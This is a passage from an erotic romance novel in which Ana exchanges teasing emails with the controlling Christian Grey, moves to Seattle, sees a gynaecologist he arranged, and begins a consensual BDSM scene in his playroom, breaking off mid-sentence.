+Have you sought therapy for your stalker tendencies? +Ana + + +From: Christian Grey +Subject: Stalker? Me? + +Date: May 27 2011 08:38 +To: Anastasia Steele + +I pay the eminent Dr. Flynn a small fortune with regard to my stalker and other tendencies. +Go to work. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Expensive Charlatans +Date: May 27 2011 08:40 +To: Christian Grey + +May I humbly suggest you seek a second opinion? +I am not sure that Dr. Flynn is very effective. + +Miss Steele + + +From: Christian Grey +Subject: Second Opinions +Date: May 27 2011 08:43 +To: Anastasia Steele + +Not that it’s any of your business, humble or otherwise, but Dr. Flynn is the second +opinion. + +You will have to speed, in your new car, putting yourself at unnecessary risk - I think +that’s against the rules. + +GO TO WORK. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: SHOUTY CAPITALS +Date: May 27 2011 08:47 +To: Christian Grey + +As the object of your stalker tendencies - I think it is my business actually. +I haven’t signed yet. So rules schmules. And I don’t start until 9:30. + +Miss Steele + + +From: Christian Grey +Subject: Descriptive Linguistics +Date: May 27 2011 08:49 + + +To: Anastasia Steele + + +Schmules? Not sure where that appears in Webster’s Dictionary + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Descriptive Linguistics +Date: May 27 2011 08:52 +To: Christian Grey + +It’s between control freak and stalker. + +And descriptive linguistics is a hard limit for me. +Will you stop bothering me now? + +I’d like to go to work in my new car. + +Ana + + +From: Christian Grey + +Subject: Challenging but amusing Young Women +Date: May 27 2011 08:56 +To: Anastasia Steele + +My palm is twitching. + +Drive safely Miss Steele. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +The Audi is a joy to drive. It has power steering. Wanda, my Beetle, has no power in it at +all - anywhere, so my daily workout, which was driving my Beetle, will cease. Oh, but I +will have a personal trainer to contend with, according to Christian’s rules. I frown. I hate +exercising. + +While I am driving, I try and analyze our email exchange. He’s a patronizing son-of- +a-bitch sometimes. And then I think of Grace and I feel guilty. But of course, she wasn’t +his birth mother. Hmm that’s a whole world of unknown pain. Well, patronizing son-of- +a-bitch works well then. Yes. I’m an adult, thank you for reminding me, Christian Grey, +and it is my choice. The problem is, I just want Christian, not all his... baggage - and right +now he has a 747 hold’s worth of baggage. Could I just lie back and embrace it? Like a +submissive? I’ve said I’d try. It’s an awfully big ask. + +I pull into the parking lot at Clayton’s. As I make my way in, I can hardly believe +it’s my last day. Fortunately, the store is busy and time passes quickly. At lunchtime, Mr. +Clayton summons me from the stockroom. He’s standing beside a motorcycle courier. + + +“Miss Steele?” the courier asks. I frown questioningly at Mr. Clayton, who shrugs, +as puzzled as me. My heart sinks. What has Christian sent me now? I sign for the small +package and open it straight away. It’s a BlackBerry. My heart sinks further. I switch it on. + + +From: Christian Grey +Subject: BlackBerry ON LOAN +Date: May 27 2011 11:15 +To: Anastasia Steele + +I need to be able to contact you at all times, and since this is your most honest form of +communication, I figured you needed a BlackBerry. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Consumerism Gone Mad +Date: May 27 2011 13:22 +To: Christian Grey + +I think you need to call Dr. Flynn right now. + +Your stalker tendencies are running wild. + +I am at work. I will email you when I get home. + +Thank you for yet another gadget. + +I wasn’t wrong when I said you were the ultimate consumer. +Why do you do this? + +Ana + + +From: Christian Grey +Subject: Sagacity from one so young +Date: May 27 2011 13:24 +To: Anastasia Steele + +Fair point-well made, as ever Miss Steele. +Dr. Flynn is on vacation. + +And I do this because I can. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I put the thing in my back pocket, hating it already. Emailing Christian is addictive, but +I am supposed to be working. It buzzes once against my behind... how apt, I think ironi- +cally, but summoning all my willpower, I ignore it. + +At four, Mr. and Mrs. Clayton gather all the other employees in the shop, and during +a hair-curlingly embarrassing speech, present me with a check for three hundred dollars. +In that moment, three weeks of - exams, graduation, intense, fucked-up billionaires, de- + + +flowering, hard & soft limits, playrooms with no consoles, helicopter rides - and the fact +that I will move tomorrow, all well up inside me. Amazingly, I hold myself together. My +subconscious is in awe. I hug the Claytons hard. They have been kind and generous em- +ployers, and I will miss them. + + +Kate is climbing out of her car when I arrive home. + +“What’s that?” she says accusingly, pointing at the Audi. I can’t resist. + +“It’s a car,” I quip. She narrows her eyes, and for a brief moment, I wonder if she’s go- +ing to put me across her knee too. “My graduation present.” I try and act nonchalant. Yes, + +I get expensive cars given to me everyday. Her mouth drops open. + +“Generous, over-the-top bastard, isn’t he?” + +I nod. + +“I did try not to accept it, but frankly, it’s just not worth the fight.” + +Kate purses her lips. + +“No wonder you’re so overwhelmed. I did note that he stayed.” + +“Yeah.” I smile wistfully. + +“Shall we finish packing?” + +I nod and follow her inside. I check the email from Christian. + + +From: Christian Grey +Subject: Sunday +Date: May 27 2011 13:40 +To: Anastasia Steele + +Shall I see you at 1 p.m. Sunday? + +The doctor will be at Escala to see you at 1 :30. + +I’m leaving for Seattle now. + +I hope your move goes well, and I look forward to Sunday. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Jeez, he could be discussing the weather. I decide to email him once we’ve finished pack- +ing, he can be such fun one minute, and then he can be so formal and stuffy. It’s difficult +to keep up. Honestly, it’s like an email to an employee. I roll my eyes at it defiantly and +join Kate to pack. + + +Kate and I are in the kitchen when there’s a knock at the door. Taylor stands on the porch, +looking immaculate in his suit. I notice the trace of ex-army in his buzz cut, trim physique, +and his cool stare. + +“Miss Steele,” he says. “I’ve come for your car.” + + +“Oh yes, of course. Come in, I’ll fetch the keys.” + +Surely this is above and beyond the call of duty. I wonder again at Taylor’s job descrip- +tion. I hand him the keys, and we walk in an uncomfortable silence for me - toward the +light blue Beetle. I open the door and remove the flashlight from the glove box. That’s it. + +I have nothing else that’s personal in the Wanda. Goodby,, Wanda. Thank you. I caress her +roof as I close the passenger door. + +“How long have you worked for Mr. Grey?” I ask. + +“Four years, Miss Steele.” + +Suddenly, I have an overwhelming urge to bombard him with questions. What this +man must know about Christian, all his secrets. But then he’s probably signed an NDA. + +I look nervously at him. He has the same taciturn expression as Ray, and I warm to him. + +“He’s a good man, Miss Steele,” he says, and he smiles slightly. With that, he gives me +a little nod, climbs into my car, and drives away. + +Apartment, Beetle, Claytons - it’s all change now. I shake my head as I wander back +inside. And the biggest change of all is Christian Grey. Taylor thinks he’s a good man. + +Can I believe him? + + +Jose joins us with a Chinese take-out at eight. We’re done. We’re packed and ready +to go. He brings several bottles of beer, and Kate and I sit on the couch while he’s cross- +legged on the floor between us. We watch crap TV, drink beer, and as the evening wears +on, we fondly and loudly reminisce as the beer takes effect. It’s been a good four years. + +The atmosphere between Jose and I has returned to normal, the attempted kiss forgot- +ten. Well, it’s been swept under the rug that my inner goddess is lying on, eating grapes +and tapping her fingers, waiting not so patiently for Sunday. There’s a knock on the door, +and my heart leaps into my throat. Is it? + +Kate answers the door and is nearly knocked off her feet by Elliot. He seizes her in a +Hollywood-style clinch that moves quickly into a European art house embrace. Honestly... +get a room. Jose and I stare at each other. I’m appalled at their lack of modesty. + +“Shall we walk down to the bar?” I ask Jose, who nods frantically. We are too uncom- +fortable with the unrestrained sexing unfolding in front of us. Kate looks up at me, flushed +and bright-eyed. + +“Jose and I are going for a quick drink.” I roll my eyes at her. Ha! I can still roll my +eyes in my own time. + +“Okay,” she grins. + +“Hi Elliot, bye Elliot.” + +He winks a big blue eye at me, and Jose and I are out of the door, giggling like teenag- +ers. + +As we stroll down to the bar, I put my arm through Jose’s. God, he’s so uncomplicated +- 1 hadn’t really appreciated that before. + +“You’ll still come to the opening of my show, won’t you?” + +“Of course, Jose, when is it?” + +“June 9.” + +“What day is that?” I suddenly panic. + +“It’s a Thursday.” + + +‘Yeah I should make that... and you will visit us in Seattle? +Try and stop me.” He grins. + + +It’s late when I arrive back from the bar. Kate and Elliot are nowhere to be seen but boy +can they be heard. Holy shit. I hope I’m not that loud. I know Christian isn’t. I flush at +the thought and escape to my room. After a brief not-at-all-awkward-thank-goodness hug, +Jose has gone. I don’t know when I’ll see him again, probably his photographic show, and +once again, I’m blown away that he finally has an exhibition. I shall miss him and his boy- +ish charm. I couldn’t bring myself to tell him about the Beetle, I know he’ll freak when he +finds out, and I can only deal with one man at a time freaking out at me. Once in my room, +I check the mean machine, and of course, there’s an email from Christian. + + +From: Christian Grey +Subject: Where Are You? + +Date: May 27 2011 22:14 +To: Anastasia Steele + +‘I am at work. I will email you when I get home.’ + +Are you still at work or have you packed your phone, BlackBerry and MacBook? +Call me, or I may be forced to call Elliot. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Crap... Jose... shit. + +I grab my phone. Five missed calls and one voice message. Tentatively, I listen to the +message. It’s Christian. + + +‘I think you need to learn to manage my expectations. I am not a patient man. If you +say you are going to contact me when you finish work, then you should have the decency to +do so. Otherwise, I worry, and it’s not an emotion I’m familiar with, and I don’t tolerate it +very well. Call me.’ + + +Double crap. Will he ever give me a break? I scowl at the phone. He is suffocating +me. With a deep dread uncurling in my stomach, I scroll down to his number and press +dial. My heart is in my mouth as I wait for him to answer. He’d probably like to beat seven +shades of shit out of me. The thought is depressing. + +“Hi,” he says softly, and his response knocks me off balance because I am expecting +his anger, but if anything, he sounds relieved. + +“Hi,” I murmur. + +“I was worried about you.” + + +“I know. I’m sorry I didn’t reply, but I’m fine.” + +He pauses for a beat. + +“Did you have a pleasant evening?” He is crisply polite. + +“Yes. We finished packing and Kate and I shared a Chinese take-out with Jose.” I close +my eyes tightly as I say Jose’s name. Christian says nothing. + +“How about you?” I ask to fill the sudden deafening chasm of silence. I will not let +him guilt me out about Jose. + +Eventually, he sighs. + +“I went to a fundraising dinner. It was deathly dull. I left as soon as I could.” + +He sounds so sad and resigned. My heart clenches. I picture him all those nights ago +sat at the piano in his huge living room and the unbearable bittersweet melancholy of the +music he was playing. + +“I wish you were here,” I whisper, because I have an urge to hold him. Soothe him. + +Even though he won’t let me. I want his proximity. + +“Do you?” he murmurs blandly. Holy mackerel. This doesn’t sound like him, and my +scalp prickles with dawning apprehension. + +“Yes,” I breathe. After an eternity, he sighs. + +“I’ll see you Sunday?” + +“Yes, Sunday,” I murmur, and a thrill courses through my body. + +“Goodnight.” + +“Goodnight, Sir.” + +My address catches him unawares, I can tell by his sharp intake of breath. + +“Good luck with your move tomorrow, Anastasia.” His voice is soft. And we’re both +hanging on the phone like teenagers, neither wanting to hang up. + +“You hang up,” I whisper. Finally, I sense his smile. + +“No, you hanq up.” And I know he’s qrinninq. + +“I don’t want to.” + +“Neither do I.” + +“Were you very angry with me?” + +“Yes.” + +“Are you still?” + +“No.” + +“So you’re not going to punish me?” + +“No. I’m an in-the-moment kind of guy.” + +“I’ve noticed.” + +“You can hang up now, Miss Steele.” + +“Do you really want me to, Sir?” + +“Go to bed, Anastasia.” + +“Yes, Sir.” + +We both stay on the line. + +“Do you ever think you’ll be able to do what you’re told?” He’s amused and exasper- +ated at once. + +“Maybe. We’ll see after Sunday.” And I press ‘end’ on the phone. + + +Elliot stands and admires his handiwork. He has re-plugged our TV into the satellite sys- +tem in our Pike Place Market apartment. Kate and I flop on to the couch giggling, im- +pressed by his prowess with a power drill. The flat screen looks odd against the brickwork +of the converted warehouse, but no doubt I will get used to it. + +“See, baby, easy.” He grins a wide white-toothed smile at Kate, and she almost literally +dissolves into the couch. + +I roll my eyes at the pair of them. + +“I’d love to stay, baby, but my sister is back from Paris. It’s a compulsory family din- +ner tonight.” + +“Can you come by after?” Kate asks tentatively, all soft and un-Katelike. + +I stand and make my way over to the kitchen area on the pretense of unpacking one of +the crates. They are going to get icky. + +“I’ll see if I can escape,” he promises. + +“I’ll come down with you.” Kate smiles. + +“Laters, Ana.” Elliot grins. + +“Bye, Elliot. Say hi to Christian from me.” + +“Just hi?” His eyebrows shoot up suggestively. + +“Yes.” I flush. He winks at me, and I go crimson as he follows Kate out of the apart- +ment. + +Elliot is adorable and so different from Christian. He’s warm, open, physical, very +physical, too physical, with Kate. They can barely keep their hands off each other - to be +honest it’s embarrassing - and I am pea-green with envy. + +Kate returns about twenty minutes later with pizza, and we sit, surrounded by crates, +in our new open space, eating straight from the box. Kate’s dad has done us proud. The +apartment is not large, but it’s big enough, three bedrooms and a large living space that +looks out on to Pike Place Market itself. It’s all solid wood floors and red brick, and the +kitchen tops are smooth concrete, very utilitarian, very now. We both love that we will be +in the heart of the city. + +At eight the entry-phone buzzes. Kate leaps up - and my heart leaps into my mouth. + +“Delivery, Miss Steele, Miss Kavanagh.” Disappointment flows freely and unexpect- +edly through my veins. It’s not Christian. + +“Second floor, apartment two.” + +Kate buzzes the delivery boy in. His mouth falls open when he sees Kate, all tight +jeans, t-shirt, hair piled high with escaping tendrils. She has that effect on men. He holds +a bottle of champagne with a helicopter-shaped balloon attached. She gives him a dazzling +smile to send him on his way and proceeds to read the card out to me. + + +Ladies, Good luck in your new home, Christian Grey. + + +Kate shakes her head in disapproval. + +“Why can’t he just write ‘from Christian’? And what’s with the weird helicopter bal- +loon?” + +“Charlie Tango.” + +“What?” + +“Christian flew me to Seattle in his helicopter.” I shrug. + +Kate stares at me open mouthed. I have to say - I love these occasions - Katherine Ka- +vanagh, silent and floored, they are so rare. I take a brief and luxurious moment to enjoy it. + +“Yep, he has a helicopter, which he flew himself,” I state proudly. + +“Of course the obscenely rich bastard has a helicopter. Why didn’t you tell me?” Kate +looks accusingly at me, but she’s smiling, shaking her head in disbelief. + +“I’ve had a lot on my mind lately.” + +She frowns. + +“Are you going to be okay while I’m away?” + +“Of course.” I answer reassuringly. New city, no job... nut-job boyfriend. + +“Did you give him our address? + +“No, but stalking is one of his specialties.” I muse, matter-of-fact. + +Kate’s brow knits further. + +“Somehow I’m not surprised. He worries me, Ana. At least it’s a good champagne +and it’s chilled.” + +Of course, only Christian would send chilled champagne or get his secretary to do it... +or maybe Taylor. We open it there and then and find our teacups - they were the last items +to be packed. + +“Bollinger Grande Annee Rose 1999, an excellent vintage.” I grin at Kate, and we +clink teacups. + + +I wake early to a gray Sunday morning after a surprisingly refreshing night’s sleep and lie +awake staring at my crates. You should really be unpacking these, my subconscious nags, +pursing her harpy lips together. No... today’s the day. My inner goddess is beside herself, +hopping from foot to foot. Anticipation hangs heavy and portentous over my head like a +dark tropical storm cloud. Butterflies flood my belly - as well as a darker, carnal, capti- +vating ache as I try to imagine what he will do to me... and of course, I have to sign that +damned contract or do I? I hear the ping of incoming mail from the mean machine on the +floor beside my bed. + + +From: Christian Grey +Subject: My Life in Numbers +Date: May 29 2011 08:04 +To: Anastasia Steele + + +If you drive you’ll need this access code for the underground garage at Escala: 146963 +Park in bay 5 - it’s one of mine. + +Code for the elevator: 1880 + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: An excellent Vintage +Date: May 29 2011 08:08 +To: Christian Grey + +Yes Sir. Understood. + +Thank you for the champagne and the blow-up Charlie Tango, which is now tied to my +bed. + +Ana + + +From: Christian Grey +Subject: Envy +Date: May 29 2011 08:11 +To: Anastasia Steele + +You’re welcome. + +Don’t be late. + +Lucky Charlie Tango. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I roll my eyes at his bossiness, but his last line makes me smile. I head for the bathroom, +wondering if Elliot made it back last night and trying hard to rein in my nerves. + + +I can drive the Audi in high-heels! At 12:55 p.m. precisely, I pull into the garage at +Escala and park in bay five. How many bays does he own? The Audi SUV is there, the +R8, and two smaller Audi SUVs. . . hmm. I check my seldom-worn mascara in the light up +vanity mirror on my sunshield. Didn’t have one of these in the Beetle. + +Go girl! My inner goddess has her pom poms in hand - she’s in cheerleading mode. +In the infinity mirrors of the elevator, I check out my plum dress, well - Kate’s plum dress. +The last time I wore this, he wanted to peel it off me. My body clenches at the thought. + +Oh my, the feeling is just exquisite, and I catch my breath. I’m wearing the underwear that +Taylor bought for me. I flush at the thought of his buzz-cut roaming the aisles of Agent + + +Provocateur or wherever he bought it. The doors open, and I’m facing the foyer of apart- +ment number one. + +Taylor stands at the double doors as I step out of the elevator. + +“Good afternoon, Miss Steele,” he says. + +“Oh please call me, Ana.” + +“Ana,” he smiles. + +“Mr. Grey is expecting you.” + +I bet he is. + +Christian is seated on his living room couch reading the Sunday papers. He glances up +as Taylor directs me into the living area. The room is exactly as I remember it - it’s been +a whole week since I’ve been here - but it feels so much longer. Christian looks cool and +calm - actually, he looks heavenly. He’s in a loose white linen shirt and jeans, no shoes or +socks. His hair is tousled and unkempt, and his gray eyes twinkle wickedly at me. He is +jaw-droppingly handsome. He rises and strolls towards me, an amused appraising smile +on his beautiful sculptured lips. + +I stand immobilized at the entrance of the room, paralyzed by his beauty and the sweet +anticipation of what’s to come. The familiar charge between us is there, sparking slowly +in my belly, drawing me to him. + +“Hmm... that dress,” he murmurs approvingly as he gazes down at me. “Welcome +back, Miss Steele,” he whispers, and clasping my chin, he leans down and proffers a gentle +light kiss on my lips. The touch of his lips to mine reverberates throughout my body. My +breath hitches. + +“Hi,” I whisper as I flush. + +“You’re on time. I like punctual. Come.” He takes my hand and leads me to the +couch. “I wanted to show you something,” he says as we sit. He hands me the Seattle +Times. On page eight, there’s a photograph of the two of us together at the graduation +ceremony. Holy crap. I’m in the paper. I check the caption. + + +Christian Grey and friend at the graduation ceremony at WSU Vancouver. + + +I laugh. + +“So I’m your ‘friend’ now.” + +“So it would appear. And it’s in the newspaper, so it must be true.” He smirks. + +Sitting beside me, his whole body is turned toward me, one of his legs tucked under the +other. Reaching over, he tucks my hair behind my ear with his long index finger. My body +comes alive at his touch, waiting and needful. + +“So, Anastasia, you have a much better idea of what I’m about since you were last +here.” + +“Yes.” Where’s he going with this? + +“And yet you’ve returned.” + +I nod shyly, and his gray eyes blaze. He shakes his head slightly as if he’s struggling +with the idea. + + +“Have you eaten?” he asks out of the blue. + +Shit. + +“No.” + +“Are you hungry?” He’s really trying not to look annoyed. + +“Not for food,” I whisper, and his nostrils flare slightly in reaction. + +He leans forward and whispers in my ear. + +“You are as eager as ever, Miss Steele, and just to let you into a little secret, so am I. +But Dr. Greene is due here shortly.” He sits up. “I wish you’d eat,” he scolds me mildly. + +My heated blood cools. Holy cow - the doctor. I’d forgotten. + +“What can you tell me about Dr. Greene?” I ask to distract us both. + +“She’s the best Ob/Gyn in Seattle. What more can I say?” He shrugs. + +“I thought I was seeing your doctor, and don’t tell me you’re really a woman, because +I won’t believe you.” + +He gives me a don’t-be-ridiculous look. + +“I think it’s more appropriate that you see a specialist. Don’t you?” he says mildly. + +I nod. Holy Moses, if she’s the best Ob/Gyn, he’s scheduled her to see me on a Sunday +- at lunchtime! I cannot begin to imagine how much that costs. Christian frowns suddenly +as if recalling something unpleasant. + +“Anastasia, my mother would like you to come to dinner this evening. I believe Elliot +is asking Kate too. I don’t know how you feel about that. It will be odd for me to introduce +you to my family.” + +Odd? Why? + +“Are you ashamed of me?” I can’t keep the wounded hurt out of my voice. + +“Of course not.” He rolls his eyes at me. + +“Why is it odd?” + +“Because I’ve never done it before.” + +“Why are you allowed to roll your eyes, and I’m not?” + +He blinks at me. + +“I wasn’t aware that I was.” + +“Neither am I usually,” I snap at him. + +Christian glares at me, speechless. Taylor appears at the doorway. + +“Dr. Greene is here, Sir.” + +“Show her up to Miss Steele’s room.” + +Miss Steele’s room! + +“Ready for some contraception?” he asks as he stands and holds out his hand to me. +“You’re not going to come as well are you?” I gasp, shocked. + +He laughs. + +“I’d pay very good money to watch, believe me, Anastasia, but I don’t think the good +doctor would approve.” + +I take his hand, and he pulls me up into his arms and kisses me deeply. I clutch on +to his arms, taken by surprise. His hand is in my hair holding my head, and he pulls me +against him, his forehead against mine. + +“I’m so glad you’re here,” he whispers. “I can’t wait to get you naked.” + + +Chapter Eighteen + + +Dr. Greene is tall, blond, and immaculate, dressed in a royal blue suit. I’m reminded of the +women who work in Christian’s office. She’s like an identikit model - another Stepford +blonde. Her long hair is swept up in an elegant chignon. She must be in her early forties. + +“Mr. Grey.” She shakes Christian’s outstretched hand. + +“Thank you for coming at such short notice,” Christian says. + +“Thank you for making it worth my while, Mr. Grey. Miss Steele.” She smiles, her +eyes cool and assessing. + +We shake hands, and I know she’s one of those women who doesn’t tolerate fools +gladly. Like Kate. I like her immediately. She gives Christian a pointed stare, and after an +awkward beat, he takes his cue. + +“I’ll be downstairs,” he mutters, and he leaves what will be my bedroom. + +“Well Miss Steele. Mr. Grey is paying me a small fortune to attend to you. What can +I do for you?” + + +After a thorough examination and lengthy discussion, Dr. Greene and I decide on the mini +pill. She writes me a pre-paid prescription and instructs me to pick them up tomorrow. I +love her no-nonsense attitude - she has lectured me until she’s as blue as her dress about +taking it at the same time every day. And I can tell she’s burning with curiosity about my +so-called relationship with Mr. Grey. I don’t give her any details. Somehow I don’t think + + +she’d look so calm and collected if she’d seen his Red Room of Pain. I flush as we pass +its closed door and head back downstairs to the art gallery that is Christian’s living room. + +Christian is reading, seated on his couch. A breathtaking aria is playing on the music +system, swirling round him, cocooning him, filling the room with a sweet, soulful song. + +For a moment, he looks serene. He turns and glances at us when we enter and smiles +warmly at me. + +“Are you done?” he asks as if he’s genuinely interested. He points the remote at a sleek +white box beneath the fireplace that houses his iPod, and the exquisite melody fades but +continues in the background. Standing, he strolls towards us. + +“Yes, Mr. Grey. Look after her; she’s a beautiful, bright young woman.” + +Christian is taken aback - as am I. What an inappropriate thing for a doctor to say. Is +she giving him some kind of not so subtle warning? Christian recovers himself. + +“I fully intend to,” he mutters, bemused. + +Gazing at him, I shrug, embarrassed. + +“I’ll send you my bill,” she says crisply as she shakes his hand. + +“Good day, and good luck to you, Ana.” She smiles, her eyes crinkling as she does +when we shake hands. + +Taylor appears from nowhere to escort her through the double doors and out to the +elevator. How does he do that? Where does he lurk? + +“How was that?” Christian asks. + +“Fine, thank you. She said that I had to abstain from all sexual activity for the next +four weeks.” + +Christian’s mouth drops open in shock, and I cannot keep a straight face any longer and +grin at him like an idiot. + +“Gotcha!” + +He narrows his eyes, and I immediately stop laughing. In fact, he looks rather forbid- +ding. Oh shit. My subconscious quails in the corner as all the blood drains from my face, +and I imagine him putting me across his knee again. + +“Gotcha!” he says and smirks. He grabs me around my waist and pulls me up against +him. “You are incorrigible, Miss Steele,” he murmurs, staring down into my eyes as he +weaves his fingers into my hair, holding me firmly in place. He kisses me, hard, and I cling +on to his muscular arms for support. + +“As much as I’d like to take you here, now, you need to eat and so do I. I don’t want +you passing out on me later,” he murmurs against my lips. + +“Is that all you want me for - my body?” I whisper. + +“That and your smart mouth,” he breathes. + +He kisses me again passionately, and then abruptly releases me, taking my hand and +leading me to the kitchen. I am reeling. One minute we’re joking and the next... I fan +my heated face. He’s just sex on legs, and now I have to recover my equilibrium and eat +something. The aria is still playing in the background. + +“What’s the music?” + +“Villa Lobos, an aria from Bachianas Brasileiras. Good, isn’t it?” + +“Yes,” I murmur in total agreement. + +The breakfast bar is laid for two; Christian takes a salad bowl from the fridge. + + +“Chicken caesar salad okay with you?” + +Oh thank heavens, nothing too heavy. + +“Yes, fine, thank you.” + +I watch as he moves gracefully through his kitchen. He’s so at ease with his body on +one level, but then he doesn’t like to be touched... so maybe deep down he isn’t. No man +is an island, I muse - except perhaps Christian Grey. + +“What are you thinking?” he asks, pulling me from my reverie. I flush. + +“I was just watching the way you move.” + +He raises an eyebrow, amused. + +“And?” he says dryly. + +I flush some more. + +“You’re very graceful.” + +“Why thank you, Miss Steele,” he murmurs. He sits down beside me, holding a bottle +of wine. “Chablis?” + +“Please.” + +“Help yourself to salad,” he says, his voice soft. + +“Tell me - what method did you opt for?” + +I am momentarily thrown by his question, when I realize he’s talking about Dr. Greene + +visit. + +“Mini pill.” + +He frowns. + +“And will you remember to take it regularly, at the right time, every day?” + +Jeez... of course I will. How does he know? I blush at the thought, probably from one +or more of the fifteen. + +“I’m sure you’ll remind me,” I murmur dryly. + +He glances at me with amused condescension. + +“I’ll put an alarm on my calendar.” He smirks. “Eat.” + +The chicken caesar is delicious. To my surprise, I’m famished, and for the first time +since I’ve been with him, I finish my meal before he does. The wine is crisp, clean, and +fruity. + +“Eager as ever, Miss Steele?” he smiles down at my empty plate. + +I look at him from beneath my lashes. + +“Yes,” I whisper. + +His breath hitches. And as he stares down at me, I feel the atmosphere between us +slowly shift, evolve. . . charge. His look goes from dark to smoldering, taking me with him. +He stands, closing the distance between us, and tugs me off my bar stool into his arms. +“Do you want to do this?” he breathes, looking down at me intently. + +“I haven’t signed anything.” + +“I know - but I’m breaking all the rules these days.” + +“Are you going to hit me?” + +“Yes, but it won’t be to hurt you. I don’t want to punish you right now. If you’d caught +me yesterday evening, well, that would have been a different story.” + +Holy cow. He wants to hurt me... how do I deal with this? I can’t hide the horror on +my face. + + +“Don’t let anyone try and convince you otherwise, Anastasia. One of the reasons +people like me do this is because we either like to give or receive pain. It’s very simple. + +You don’t, so I spent a great deal of time yesterday thinking about that.” + +He pulls me against him, and his erection presses into my belly. I should run, but I +can’t. I’m drawn to him on some deep, elemental level, that I can’t begin to understand. + +“Did you reach any conclusions?” I whisper. + +“No, and right now, I just want to tie you up and fuck you senseless. Are you ready +for that?” + +“Yes,” I breathe as everything in my body tightens at once... wow. + +“Good. Come.” He takes my hand and, leaving all the dirty dishes on the breakfast bar, +and we head upstairs. + +My heart starts pounding. This is it. I’m really going to do this. My inner goddess +is spinning like a world-class ballerina, pirouette after pirouette. He opens the door to his +playroom, standing back for me to walkthrough, and I am once more in the Red Room of +Pain. + +It’s the same, the smell of leather, citrus, polish and dark wood, all very sensual. My +blood is running heated and scared through my system - adrenaline mixed with lust and +longing. It’s a heady, potent cocktail. Christian’s stance has changed completely, subtly al- +tered, harder and meaner. He gazes down at me and his eyes are heated, lustful... hypnotic. + +“When you’re in here, you are completely mine,” he breathes, each word slow and +measured. “To do with as I see fit. Do you understand?” + +His gaze is so intense. I nod, my mouth dry, my heart thumping for a way out of my + +chest. + +“Take your shoes off,” he orders softly. + +I swallow, and rather clumsily, I take them off. He bends and picks them up and de- +posits them beside the door. + +“Good. Don’t hesitate when I ask you to do something. Now I’m going to peel you +out of this dress. Something I’ve wanted to do for a few days if I recall. I want you to be +comfortable with your body, Anastasia. You have a beautiful body, and I like to look at it. + +It is a joy to behold. In fact, I could gaze at you all day, and I want you unembarrassed and +unashamed of your nakedness. Do you understand?” + +“Yes.” + +“Yes, what?” He leans over me, glaring. + +“Yes, Sir.” + +“Do you mean that?” he snaps. + +“Yes, Sir.” + +“Good. Lift your arms up over your head.” + +I do as instructed, and he reaches down and grabs the hem. Slowly, he pulls my dress +up over my thighs, my hips, my belly, my breasts, my shoulders, and over my head. He +stands back to examine me and absentmindedly folds my dress, not taking his eyes off me. +He places it on the large chest beside the door. Reaching up, he pulls at my chin, his touch +searing me. + +“You’re biting your lip,” he breathes. “You know what that does to me,” he adds +darkly. “Turn around.” + + +I turn immediately, no hesitation. He unclasps my bra and then taking both straps, +he slowly pulls them down my arms, brushing my skin with his fingers and the tip of his +thumbnails as he slides my bra off. His touch sends shivers down my spine, waking every +nerve ending in my body. He’s standing behind me, so close that I feel the heat radiating +from him, warming me, warming me all over. He pulls my hair so it’s all hanging down my +back, grasps a handful at my nape, and angles my head to one side. He runs his nose down +my exposed neck, inhaling all the way, then back up to my ear. The muscles in my belly +clench, carnal and wanting. Jeez, he’s hardly touched me, and I want him. + +“You smell as divine as ever, Anastasia,” he whispers as he places a soft kiss beneath +my ear. + +I moan. + +“Quiet,” he breathes. “Don’t make a sound.” + +Pulling my hair behind me, to my surprise, he starts braiding it in one large braid, his +fingers fast and deft. He ties it with an unseen hair tie when he’s finished and gives it a +quick tug so I’m forced back against him. + +“I like your hair braided in here,” he whispers. + +Hmm... why? + +He releases my hair. + +“Turn around,” he orders. + +I do as I’m bid, my breathing shallow, fear and longing mixed together. It’s an intoxi- +cating mix. + +“When I tell you to come in here, this is how you will dress. Just in your panties. Do +you understand?” + +“Yes.” + +“Yes, what?” He glowers at me. + +“Yes, Sir.” + +A trace of a smile lifts the corner of his mouth. + +“Good girl.” His eyes burn into mine. “When I tell you to come in here, I expect you +to kneel over there.” He points to a spot beside the door. “Do it now.” + +I blink processing his words, turn, and rather clumsily kneel as directed. + +“You can sit back on your heels.” + +I sit back. + +“Place your hands and forearms flat on your thighs. Good. Now part your knees. + +Wider. Wider. Perfect. Look down at the floor.” + +He walks over to me, and I can see his feet and shins in my field of vision. Naked feet. + +I should be taking notes if he wants me to remember. He reaches down and grasps my +braid again, then pulls my head back so I am looking up at him. It’s only just not painful. + +“Will you remember this position, Anastasia?” + +“Yes, Sir.” + +“Good. Stay here, don’t move.” He leaves the room. + +I’m on my knees, waiting. Where’s he gone? What is he going to do to me? Time +shifts. I have no idea how long he leaves me like this... a few minutes, five, ten? My +breathing becomes shallower, the anticipation is devouring me from the inside out. + + +And suddenly he’s back - and all at once I’m calmer and more excited in the same +breath. Could I be more excited? I can see his feet. He’s changed his jeans. These are +older, ripped, soft, and over-washed. Holy cow. These jeans are hot. He shuts the door +and hangs something on the back. + +“Good girl, Anastasia. You look lovely like that. Well done. Stand up.” + +I stand, but I keep my face down. + +“You may look at me.” + +I peek up at him, and he’s staring at me intently, assessing, but his eyes soften. He’s +taken off his shirt. Oh my. . . I want to touch him. The top button of his jeans is undone. + +“I’m going to chain you now, Anastasia. Give me your right hand.” + +I give him my hand. He turns it palm up, and before I know it, he swats the center with +a riding crop I hadn’t noticed is in his right hand. It happens so quickly that the surprise +hardly registers. Even more astonishing - it doesn’t hurt. Well, not much, just a slight +ringing sting. + +“How does that feel?” he asks. + +I blink at him, confused. + +“Answer me.” + +“Okay.” I frown. + +“Don’t frown.” + +I blink and try for impassive. I succeed. + +“Did that hurt?” + +“No.” + +“This 